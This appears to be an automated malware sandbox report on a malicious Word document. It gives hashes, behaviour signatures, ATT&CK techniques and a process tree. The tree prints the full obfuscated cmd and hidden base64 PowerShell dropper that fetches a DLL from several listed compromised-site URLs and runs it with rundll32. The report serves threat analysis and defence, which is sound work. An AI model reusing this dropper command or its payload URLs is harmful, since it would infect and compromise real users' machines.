0939fe6d39e0d83811a9940d4648fe84ca63fb970749743bdbb779be2a07c683

General

Target

0939fe6d39e0d83811a9940d4648fe84ca63fb970749743bdbb779be2a07c683.doc
Size

172KB
MD5

2844f07981b7b1d2e7f5c7fbf443d889
SHA1

7d1ef8f4f4a3f9a1c106a4cf2356ab2b030b9165
SHA256

0939fe6d39e0d83811a9940d4648fe84ca63fb970749743bdbb779be2a07c683
SHA512

faff24235e0da3d50602cc364c778cd76dd7cf48f8f879c8398d1e547b9efaf42effdb51bc6918176b7721738a4e7f4ea2be4b5d0d5bdc1e1037fc45b34426c6

Score

10^/10

ransomware

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://coworkingplus.es/wp-admin/FxmME/

exe.dropper

http://silkonbusiness.matrixinfotechsolution.com/js/q26/

exe.dropper

https://bbjugueteria.com/s6kscx/Z/

exe.dropper

https://www.bimception.com/wp-admin/sHy5t/

exe.dropper

http://armakonarms.com/wp-includes/fz/

exe.dropper

http://alugrama.com.mx/t/2/

exe.dropper

http://homecass.com/wp-content/iF/

Signatures

Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 204 3316 cmd.exe
Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

12 3664 powershell.exe
14 3664 powershell.exe
Loads dropped DLL 1 IoCs

Processes:

rundll32.exe

pid process

1844 rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
ransomware

System Information Discovery
T1082

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	204	3316	cmd.exe

flow	pid	process
12	3664	powershell.exe
14	3664	powershell.exe

pid	process
1844	rundll32.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

1232 WINWORD.EXE
1232 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

3664 powershell.exe
3664 powershell.exe
3664 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 3664 powershell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

1232 WINWORD.EXE
1232 WINWORD.EXE
1232 WINWORD.EXE
1232 WINWORD.EXE
1232 WINWORD.EXE
1232 WINWORD.EXE
1232 WINWORD.EXE

pid	process
1232	WINWORD.EXE
1232	WINWORD.EXE

pid	process
3664	powershell.exe
3664	powershell.exe
3664	powershell.exe

description	pid	process
Token: SeDebugPrivilege	3664	powershell.exe

pid	process
1232	WINWORD.EXE
1232	WINWORD.EXE
1232	WINWORD.EXE
1232	WINWORD.EXE
1232	WINWORD.EXE
1232	WINWORD.EXE
1232	WINWORD.EXE

Suspicious use of WriteProcessMemory 9 IoCs

Processes:

cmd.exepowershell.exerundll32.exe

description	pid	process	target process
PID 204 wrote to memory of 2668	204	cmd.exe	msg.exe
PID 204 wrote to memory of 2668	204	cmd.exe	msg.exe
PID 204 wrote to memory of 3664	204	cmd.exe	powershell.exe
PID 204 wrote to memory of 3664	204	cmd.exe	powershell.exe
PID 3664 wrote to memory of 1688	3664	powershell.exe	rundll32.exe
PID 3664 wrote to memory of 1688	3664	powershell.exe	rundll32.exe
PID 1688 wrote to memory of 1844	1688	rundll32.exe	rundll32.exe
PID 1688 wrote to memory of 1844	1688	rundll32.exe	rundll32.exe
PID 1688 wrote to memory of 1844	1688	rundll32.exe	rundll32.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\0939fe6d39e0d83811a9940d4648fe84ca63fb970749743bdbb779be2a07c683.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:1232

C:\Windows\system32\cmd.exe
cmd cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. & p^owe^rs^he^ll^ -w hi^dd^en -^e^nc IABTAGUAVAAtAHYAQQBSAGkAYQBCAEwAZQAgACgAIgBUADQAIgArACIASwBkADYAIgApACAAKAAgAFsAVAB5AHAAZQBdACgAIgB7ADIAfQB7ADMAfQB7ADUAfQB7ADAAfQB7ADQAfQB7ADEAfQAiACAALQBGACAAJwByAGUAJwAsACcAcgBZACcALAAnAFMAWQAnACwAJwBzAFQAZQAnACwAJwBjAHQATwAnACwAJwBtAC4ASQBvAC4ARABJACcAKQAgACkAOwAgACAAIAAgAFMARQB0ACAAIAA0ADIAOAAgACgAIAAgAFsAVABZAHAAZQBdACgAIgB7ADMAfQB7ADcAfQB7ADAAfQB7ADUAfQB7ADYAfQB7ADIAfQB7ADQAfQB7ADgAfQB7ADEAfQAiAC0AZgAnAEUATQAuAG4ARQBUAC4AJwAsACcAZQByACcALAAnAHQAJwAsACcAUwBZAHMAJwAsACcATQAnACwAJwBzAEUAUgBWAGkAQwBFACcALAAnAFAAbwBJAE4AJwAsACcAdAAnACwAJwBhAE4AYQBnACcAKQApACAAIAA7ACAAIAAkAEoAcgBuAHoAbQBrAHMAPQAkAEEAMQA2AEwAIAArACAAWwBjAGgAYQByAF0AKAAzADMAKQAgACsAIAAkAFkAMQAxAEYAOwAkAE0AMgAwAE0APQAoACcATwAxACcAKwAnADgAVwAnACkAOwAgACAAKABJAHQAZQBNACAAKAAiAFYAQQByAEkAQQBCAGwARQA6AFQANABrACIAKwAiAEQAIgArACIANgAiACkAIAAgACkALgB2AEEAbABVAGUAOgA6ACIAQwByAGUAQQBUAGAARQBkAEkAUgBlAEMAdABgAE8AcgB5ACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAewAwAH0AJwArACcAUwBuAHUAdgB3ADIAdwB7ADAAJwArACcAfQBWACcAKwAnADQANgAnACsAJwA1ADEAcAB6AHsAMAAnACsAJwB9ACcAKQAgAC0ARgBbAEMASABhAHIAXQA5ADIAKQApADsAJABFADIAMABWAD0AKAAoACcAQgAxACcAKwAnADMAJwApACsAJwBBACcAKQA7ACAAIAAkADQAMgA4ADoAOgAiAHMARQBjAHUAYABSAGAAaQB0AHkAUABgAFIAYABPAFQAbwBjAG8AbAAiACAAPQAgACgAKAAnAFQAJwArACcAbABzADEAJwApACsAJwAyACcAKQA7ACQARQBfADkAUQA9ACgAKAAnAEcAJwArACcAOQAxACcAKQArACcATgAnACkAOwAkAFcAcwB4AHcANQAyAHoAIAA9ACAAKAAnAEgAJwArACgAJwA2ADQAJwArACcAQwAnACkAKQA7ACQATAAwADQATgA9ACgAJwBWACcAKwAoACcAMQA2ACcAKwAnAEYAJwApACkAOwAkAFgAZABuADUAeABoAGcAPQAkAEgATwBNAEUAKwAoACgAJwB7ADAAfQBTAG4AdQB2AHcAJwArACcAMgB3AHsAMAB9AFYAJwArACgAJwA0ADYANQAnACsAJwAxAHAAJwApACsAJwB6AHsAMAB9ACcAKQAtAEYAWwBDAEgAYQByAF0AOQAyACkAKwAkAFcAcwB4AHcANQAyAHoAKwAnAC4AZAAnACAAKwAgACcAbABsACcAOwAkAFgAMgA4AEcAPQAoACcAVwAwACcAKwAnADEARQAnACkAOwAkAE8AMwAzADgAXwA3ADcAPQAnAGgAJwAgACsAIAAnAHQAdAAnACAAKwAgACcAcAAnADsAJABYAGEAcAAxAGwAbQBhAD0AKAAnAHgAJwArACcAIAAnACsAKAAnAFsAJwArACcAIABzAGgAIABiADoAJwArACcALwAvACcAKQArACgAJwBjAG8AJwArACcAdwBvAHIAJwApACsAKAAnAGsAJwArACcAaQBuAGcAcABsACcAKQArACcAdQBzACcAKwAnAC4AJwArACgAJwBlAHMAJwArACcALwB3ACcAKQArACgAJwBwAC0AYQAnACsAJwBkAG0AaQBuACcAKwAnAC8ARgB4AG0AJwApACsAKAAnAE0ARQAnACsAJwAvACcAKQArACcAIQAnACsAJwB4ACcAKwAnACAAWwAnACsAJwAgACcAKwAnAHMAaAAnACsAKAAnACAAYgAnACsAJwA6ACcAKwAnAC8ALwBzAGkAbABrACcAKwAnAG8AJwApACsAKAAnAG4AYgB1ACcAKwAnAHMAaQAnACkAKwAnAG4AZQAnACsAKAAnAHMAcwAuACcAKwAnAG0AJwApACsAJwBhACcAKwAoACcAdAAnACsAJwByAGkAeABpAG4AJwArACcAZgBvAHQAZQBjACcAKwAnAGgAcwBvAGwAdQB0AGkAJwApACsAKAAnAG8AbgAuAGMAJwArACcAbwAnACkAKwAnAG0AJwArACgAJwAvACcAKwAnAGoAcwAnACkAKwAoACcALwAnACsAJwBxADIANgAnACkAKwAoACcALwAhACcAKwAnAHgAIABbACcAKQArACcAIAAnACsAJwBzAGgAJwArACgAJwAgAGIAJwArACcAcwA6AC8AJwApACsAJwAvACcAKwAoACcAYgBiAGoAJwArACcAdQAnACkAKwAoACcAZwB1ACcAKwAnAGUAdABlAHIAJwArACcAaQBhACcAKQArACgAJwAuAGMAbwBtACcAKwAnAC8AcwA2AGsAJwApACsAKAAnAHMAYwAnACsAJwB4ACcAKQArACcALwAnACsAJwBaACcAKwAoACcALwAhACcAKwAnAHgAJwApACsAJwAgAFsAJwArACcAIAAnACsAJwBzACcAKwAoACcAaAAnACsAJwAgACcAKwAnAGIAcwA6AC8AJwApACsAJwAvACcAKwAoACcAdwB3ACcAKwAnAHcAJwApACsAJwAuAGIAJwArACcAaQAnACsAJwBtACcAKwAnAGMAZQAnACsAJwBwACcAKwAnAHQAaQAnACsAKAAnAG8AbgAuAGMAJwArACcAbwAnACkAKwAoACcAbQAvAHcAJwArACcAcAAtAGEAZABtAGkAbgAvAHMASAB5ACcAKwAnADUAdAAvACcAKwAnACEAeAAgAFsAJwArACcAIAAnACsAJwBzACcAKwAnAGgAIABiADoALwAvAGEAcgBtAGEAawAnACkAKwAnAG8AbgAnACsAKAAnAGEAcgAnACsAJwBtAHMALgAnACsAJwBjACcAKQArACcAbwAnACsAJwBtAC8AJwArACcAdwAnACsAKAAnAHAALQBpACcAKwAnAG4AJwApACsAKAAnAGMAbAB1ACcAKwAnAGQAZQAnACsAJwBzAC8AZgB6AC8AJwArACcAIQAnACkAKwAnAHgAIAAnACsAKAAnAFsAJwArACcAIABzACcAKQArACgAJwBoACcAKwAnACAAYgA6AC8AJwArACcALwBhAGwAJwApACsAKAAnAHUAJwArACcAZwAnACsAJwByAGEAbQBhAC4AYwAnACkAKwAoACcAbwBtACcAKwAnAC4AJwApACsAJwBtACcAKwAnAHgAJwArACcALwAnACsAJwB0AC8AJwArACgAJwAyAC8AIQB4ACcAKwAnACAAJwArACcAWwAgAHMAaAAnACkAKwAoACcAIABiACcAKwAnADoAJwApACsAKAAnAC8AJwArACcALwBoAG8AJwApACsAJwBtAGUAJwArACgAJwBjAGEAcwBzAC4AYwBvACcAKwAnAG0ALwAnACsAJwB3AHAAJwApACsAKAAnAC0AYwAnACsAJwBvAG4AdAAnACkAKwAoACcAZQBuAHQAJwArACcALwBpAEYAJwArACcALwAnACkAKQAuACIAUgBlAGAAUABsAGAAQQBDAGUAIgAoACgAJwB4ACAAJwArACgAJwBbACAAcwBoACcAKwAnACAAJwApACsAJwBiACcAKQAsACgAWwBhAHIAcgBhAHkAXQAoACcAbgBqACcALAAnAHQAcgAnACkALAAnAHkAagAnACwAJwBzAGMAJwAsACQATwAzADMAOABfADcANwAsACcAdwBkACcAKQBbADMAXQApAC4AIgBTAHAAYABsAEkAdAAiACgAJABPADUAMwBVACAAKwAgACQASgByAG4AegBtAGsAcwAgACsAIAAkAFUAXwAyAEQAKQA7ACQAUQA5ADkAUAA9ACgAJwBGADgAJwArACcAOABTACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQATQB6AHUAYwBoAGoANgAgAGkAbgAgACQAWABhAHAAMQBsAG0AYQApAHsAdAByAHkAewAoAC4AKAAnAE4AJwArACcAZQB3AC0ATwBiACcAKwAnAGoAZQBjACcAKwAnAHQAJwApACAAcwB5AFMAVABlAE0ALgBuAGUAdAAuAFcARQBCAGMAbABpAGUATgB0ACkALgAiAGQATwBXAGAATgBMAE8AYQBEAGYAYABpAGAATABFACIAKAAkAE0AegB1AGMAaABqADYALAAgACQAWABkAG4ANQB4AGgAZwApADsAJABDADUANwBCAD0AKAAnAEMAMgAnACsAJwA5AEMAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQAnACsAJwB0AGUAJwArACcAbQAnACkAIAAkAFgAZABuADUAeABoAGcAKQAuACIAbABlAE4AYABHAGAAVABoACIAIAAtAGcAZQAgADQANwA2ADYAOQApACAAewAuACgAJwByAHUAJwArACcAbgBkAGwAbAAzADIAJwApACAAJABYAGQAbgA1AHgAaABnACwAKAAoACcAQQBuACcAKwAnAHkAUwB0ACcAKQArACcAcgAnACsAKAAnAGkAbgAnACsAJwBnACcAKQApAC4AIgB0AE8AUwBgAFQAcgBJAGAATgBHACIAKAApADsAJABNADMAOQBTAD0AKAAnAFEAJwArACgAJwA3ACcAKwAnADYATgAnACkAKQA7AGIAcgBlAGEAawA7ACQAWAA1ADEAWAA9ACgAJwBLADEAJwArACcANgBGACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARwA0AF8ARgA9ACgAJwBWADIAJwArACcAMQBYACcAKQA=
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:204

C:\Windows\system32\msg.exe
msg Admin /v Word experienced an error trying to open the file.
2⤵
PID:2668

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -w hidden -enc IABTAGUAVAAtAHYAQQBSAGkAYQBCAEwAZQAgACgAIgBUADQAIgArACIASwBkADYAIgApACAAKAAgAFsAVAB5AHAAZQBdACgAIgB7ADIAfQB7ADMAfQB7ADUAfQB7ADAAfQB7ADQAfQB7ADEAfQAiACAALQBGACAAJwByAGUAJwAsACcAcgBZACcALAAnAFMAWQAnACwAJwBzAFQAZQAnACwAJwBjAHQATwAnACwAJwBtAC4ASQBvAC4ARABJACcAKQAgACkAOwAgACAAIAAgAFMARQB0ACAAIAA0ADIAOAAgACgAIAAgAFsAVABZAHAAZQBdACgAIgB7ADMAfQB7ADcAfQB7ADAAfQB7ADUAfQB7ADYAfQB7ADIAfQB7ADQAfQB7ADgAfQB7ADEAfQAiAC0AZgAnAEUATQAuAG4ARQBUAC4AJwAsACcAZQByACcALAAnAHQAJwAsACcAUwBZAHMAJwAsACcATQAnACwAJwBzAEUAUgBWAGkAQwBFACcALAAnAFAAbwBJAE4AJwAsACcAdAAnACwAJwBhAE4AYQBnACcAKQApACAAIAA7ACAAIAAkAEoAcgBuAHoAbQBrAHMAPQAkAEEAMQA2AEwAIAArACAAWwBjAGgAYQByAF0AKAAzADMAKQAgACsAIAAkAFkAMQAxAEYAOwAkAE0AMgAwAE0APQAoACcATwAxACcAKwAnADgAVwAnACkAOwAgACAAKABJAHQAZQBNACAAKAAiAFYAQQByAEkAQQBCAGwARQA6AFQANABrACIAKwAiAEQAIgArACIANgAiACkAIAAgACkALgB2AEEAbABVAGUAOgA6ACIAQwByAGUAQQBUAGAARQBkAEkAUgBlAEMAdABgAE8AcgB5ACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAewAwAH0AJwArACcAUwBuAHUAdgB3ADIAdwB7ADAAJwArACcAfQBWACcAKwAnADQANgAnACsAJwA1ADEAcAB6AHsAMAAnACsAJwB9ACcAKQAgAC0ARgBbAEMASABhAHIAXQA5ADIAKQApADsAJABFADIAMABWAD0AKAAoACcAQgAxACcAKwAnADMAJwApACsAJwBBACcAKQA7ACAAIAAkADQAMgA4ADoAOgAiAHMARQBjAHUAYABSAGAAaQB0AHkAUABgAFIAYABPAFQAbwBjAG8AbAAiACAAPQAgACgAKAAnAFQAJwArACcAbABzADEAJwApACsAJwAyACcAKQA7ACQARQBfADkAUQA9ACgAKAAnAEcAJwArACcAOQAxACcAKQArACcATgAnACkAOwAkAFcAcwB4AHcANQAyAHoAIAA9ACAAKAAnAEgAJwArACgAJwA2ADQAJwArACcAQwAnACkAKQA7ACQATAAwADQATgA9ACgAJwBWACcAKwAoACcAMQA2ACcAKwAnAEYAJwApACkAOwAkAFgAZABuADUAeABoAGcAPQAkAEgATwBNAEUAKwAoACgAJwB7ADAAfQBTAG4AdQB2AHcAJwArACcAMgB3AHsAMAB9AFYAJwArACgAJwA0ADYANQAnACsAJwAxAHAAJwApACsAJwB6AHsAMAB9ACcAKQAtAEYAWwBDAEgAYQByAF0AOQAyACkAKwAkAFcAcwB4AHcANQAyAHoAKwAnAC4AZAAnACAAKwAgACcAbABsACcAOwAkAFgAMgA4AEcAPQAoACcAVwAwACcAKwAnADEARQAnACkAOwAkAE8AMwAzADgAXwA3ADcAPQAnAGgAJwAgACsAIAAnAHQAdAAnACAAKwAgACcAcAAnADsAJABYAGEAcAAxAGwAbQBhAD0AKAAnAHgAJwArACcAIAAnACsAKAAnAFsAJwArACcAIABzAGgAIABiADoAJwArACcALwAvACcAKQArACgAJwBjAG8AJwArACcAdwBvAHIAJwApACsAKAAnAGsAJwArACcAaQBuAGcAcABsACcAKQArACcAdQBzACcAKwAnAC4AJwArACgAJwBlAHMAJwArACcALwB3ACcAKQArACgAJwBwAC0AYQAnACsAJwBkAG0AaQBuACcAKwAnAC8ARgB4AG0AJwApACsAKAAnAE0ARQAnACsAJwAvACcAKQArACcAIQAnACsAJwB4ACcAKwAnACAAWwAnACsAJwAgACcAKwAnAHMAaAAnACsAKAAnACAAYgAnACsAJwA6ACcAKwAnAC8ALwBzAGkAbABrACcAKwAnAG8AJwApACsAKAAnAG4AYgB1ACcAKwAnAHMAaQAnACkAKwAnAG4AZQAnACsAKAAnAHMAcwAuACcAKwAnAG0AJwApACsAJwBhACcAKwAoACcAdAAnACsAJwByAGkAeABpAG4AJwArACcAZgBvAHQAZQBjACcAKwAnAGgAcwBvAGwAdQB0AGkAJwApACsAKAAnAG8AbgAuAGMAJwArACcAbwAnACkAKwAnAG0AJwArACgAJwAvACcAKwAnAGoAcwAnACkAKwAoACcALwAnACsAJwBxADIANgAnACkAKwAoACcALwAhACcAKwAnAHgAIABbACcAKQArACcAIAAnACsAJwBzAGgAJwArACgAJwAgAGIAJwArACcAcwA6AC8AJwApACsAJwAvACcAKwAoACcAYgBiAGoAJwArACcAdQAnACkAKwAoACcAZwB1ACcAKwAnAGUAdABlAHIAJwArACcAaQBhACcAKQArACgAJwAuAGMAbwBtACcAKwAnAC8AcwA2AGsAJwApACsAKAAnAHMAYwAnACsAJwB4ACcAKQArACcALwAnACsAJwBaACcAKwAoACcALwAhACcAKwAnAHgAJwApACsAJwAgAFsAJwArACcAIAAnACsAJwBzACcAKwAoACcAaAAnACsAJwAgACcAKwAnAGIAcwA6AC8AJwApACsAJwAvACcAKwAoACcAdwB3ACcAKwAnAHcAJwApACsAJwAuAGIAJwArACcAaQAnACsAJwBtACcAKwAnAGMAZQAnACsAJwBwACcAKwAnAHQAaQAnACsAKAAnAG8AbgAuAGMAJwArACcAbwAnACkAKwAoACcAbQAvAHcAJwArACcAcAAtAGEAZABtAGkAbgAvAHMASAB5ACcAKwAnADUAdAAvACcAKwAnACEAeAAgAFsAJwArACcAIAAnACsAJwBzACcAKwAnAGgAIABiADoALwAvAGEAcgBtAGEAawAnACkAKwAnAG8AbgAnACsAKAAnAGEAcgAnACsAJwBtAHMALgAnACsAJwBjACcAKQArACcAbwAnACsAJwBtAC8AJwArACcAdwAnACsAKAAnAHAALQBpACcAKwAnAG4AJwApACsAKAAnAGMAbAB1ACcAKwAnAGQAZQAnACsAJwBzAC8AZgB6AC8AJwArACcAIQAnACkAKwAnAHgAIAAnACsAKAAnAFsAJwArACcAIABzACcAKQArACgAJwBoACcAKwAnACAAYgA6AC8AJwArACcALwBhAGwAJwApACsAKAAnAHUAJwArACcAZwAnACsAJwByAGEAbQBhAC4AYwAnACkAKwAoACcAbwBtACcAKwAnAC4AJwApACsAJwBtACcAKwAnAHgAJwArACcALwAnACsAJwB0AC8AJwArACgAJwAyAC8AIQB4ACcAKwAnACAAJwArACcAWwAgAHMAaAAnACkAKwAoACcAIABiACcAKwAnADoAJwApACsAKAAnAC8AJwArACcALwBoAG8AJwApACsAJwBtAGUAJwArACgAJwBjAGEAcwBzAC4AYwBvACcAKwAnAG0ALwAnACsAJwB3AHAAJwApACsAKAAnAC0AYwAnACsAJwBvAG4AdAAnACkAKwAoACcAZQBuAHQAJwArACcALwBpAEYAJwArACcALwAnACkAKQAuACIAUgBlAGAAUABsAGAAQQBDAGUAIgAoACgAJwB4ACAAJwArACgAJwBbACAAcwBoACcAKwAnACAAJwApACsAJwBiACcAKQAsACgAWwBhAHIAcgBhAHkAXQAoACcAbgBqACcALAAnAHQAcgAnACkALAAnAHkAagAnACwAJwBzAGMAJwAsACQATwAzADMAOABfADcANwAsACcAdwBkACcAKQBbADMAXQApAC4AIgBTAHAAYABsAEkAdAAiACgAJABPADUAMwBVACAAKwAgACQASgByAG4AegBtAGsAcwAgACsAIAAkAFUAXwAyAEQAKQA7ACQAUQA5ADkAUAA9ACgAJwBGADgAJwArACcAOABTACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQATQB6AHUAYwBoAGoANgAgAGkAbgAgACQAWABhAHAAMQBsAG0AYQApAHsAdAByAHkAewAoAC4AKAAnAE4AJwArACcAZQB3AC0ATwBiACcAKwAnAGoAZQBjACcAKwAnAHQAJwApACAAcwB5AFMAVABlAE0ALgBuAGUAdAAuAFcARQBCAGMAbABpAGUATgB0ACkALgAiAGQATwBXAGAATgBMAE8AYQBEAGYAYABpAGAATABFACIAKAAkAE0AegB1AGMAaABqADYALAAgACQAWABkAG4ANQB4AGgAZwApADsAJABDADUANwBCAD0AKAAnAEMAMgAnACsAJwA5AEMAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQAnACsAJwB0AGUAJwArACcAbQAnACkAIAAkAFgAZABuADUAeABoAGcAKQAuACIAbABlAE4AYABHAGAAVABoACIAIAAtAGcAZQAgADQANwA2ADYAOQApACAAewAuACgAJwByAHUAJwArACcAbgBkAGwAbAAzADIAJwApACAAJABYAGQAbgA1AHgAaABnACwAKAAoACcAQQBuACcAKwAnAHkAUwB0ACcAKQArACcAcgAnACsAKAAnAGkAbgAnACsAJwBnACcAKQApAC4AIgB0AE8AUwBgAFQAcgBJAGAATgBHACIAKAApADsAJABNADMAOQBTAD0AKAAnAFEAJwArACgAJwA3ACcAKwAnADYATgAnACkAKQA7AGIAcgBlAGEAawA7ACQAWAA1ADEAWAA9ACgAJwBLADEAJwArACcANgBGACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARwA0AF8ARgA9ACgAJwBWADIAJwArACcAMQBYACcAKQA=
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3664

C:\Windows\system32\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Snuvw2w\V4651pz\H64C.dll,AnyString
3⤵
- Suspicious use of WriteProcessMemory
PID:1688

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Snuvw2w\V4651pz\H64C.dll,AnyString
4⤵
- Loads dropped DLL
PID:1844

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\Snuvw2w\V4651pz\H64C.dll

MD5
da7e65e498b686199f44ba0013a0ef5d

SHA1
28912806d50913d66830ecc89a8b2181fbb1cbce

SHA256
f1484613a9df4a6f66862827374d70663c54ada111d14c9b8f9bb301819a9af5

SHA512
391eada0919ed739aab651bb3c384f04d520cee1f591a9e4fb8750d6315e680d4291ce82cc410e5d8df82de48c26d58fc93467472f97ed392f39452d01bd5007

Download Submit
\Users\Admin\Snuvw2w\V4651pz\H64C.dll

MD5
da7e65e498b686199f44ba0013a0ef5d

SHA1
28912806d50913d66830ecc89a8b2181fbb1cbce

SHA256
f1484613a9df4a6f66862827374d70663c54ada111d14c9b8f9bb301819a9af5

SHA512
391eada0919ed739aab651bb3c384f04d520cee1f591a9e4fb8750d6315e680d4291ce82cc410e5d8df82de48c26d58fc93467472f97ed392f39452d01bd5007

Download Submit
memory/1232-3-0x00007FFC5DE40000-0x00007FFC5DE50000-memory.dmp

Filesize
64KB

Download
memory/1232-4-0x00007FFC5DE40000-0x00007FFC5DE50000-memory.dmp

Filesize
64KB

Download
memory/1232-5-0x00007FFC7E0C0000-0x00007FFC7E6F7000-memory.dmp

Filesize
6.2MB

Download
memory/1232-6-0x00007FFC5DE40000-0x00007FFC5DE50000-memory.dmp

Filesize
64KB

Download
memory/1232-2-0x00007FFC5DE40000-0x00007FFC5DE50000-memory.dmp

Filesize
64KB

Download
memory/1688-15-0x0000000000000000-mapping.dmp

Download
memory/1844-17-0x0000000000000000-mapping.dmp

Download
memory/2668-7-0x0000000000000000-mapping.dmp

Download
memory/3664-10-0x000002606BA30000-0x000002606BA31000-memory.dmp

Filesize
4KB

Download
memory/3664-13-0x0000026053883000-0x0000026053885000-memory.dmp

Filesize
8KB

Download
memory/3664-12-0x0000026053880000-0x0000026053882000-memory.dmp

Filesize
8KB

Download
memory/3664-14-0x0000026053886000-0x0000026053888000-memory.dmp

Filesize
8KB

Download
memory/3664-11-0x000002606BDE0000-0x000002606BDE1000-memory.dmp

Filesize
4KB

Download
memory/3664-9-0x00007FFC76D30000-0x00007FFC7771C000-memory.dmp

Filesize
9.9MB

Download
memory/3664-8-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads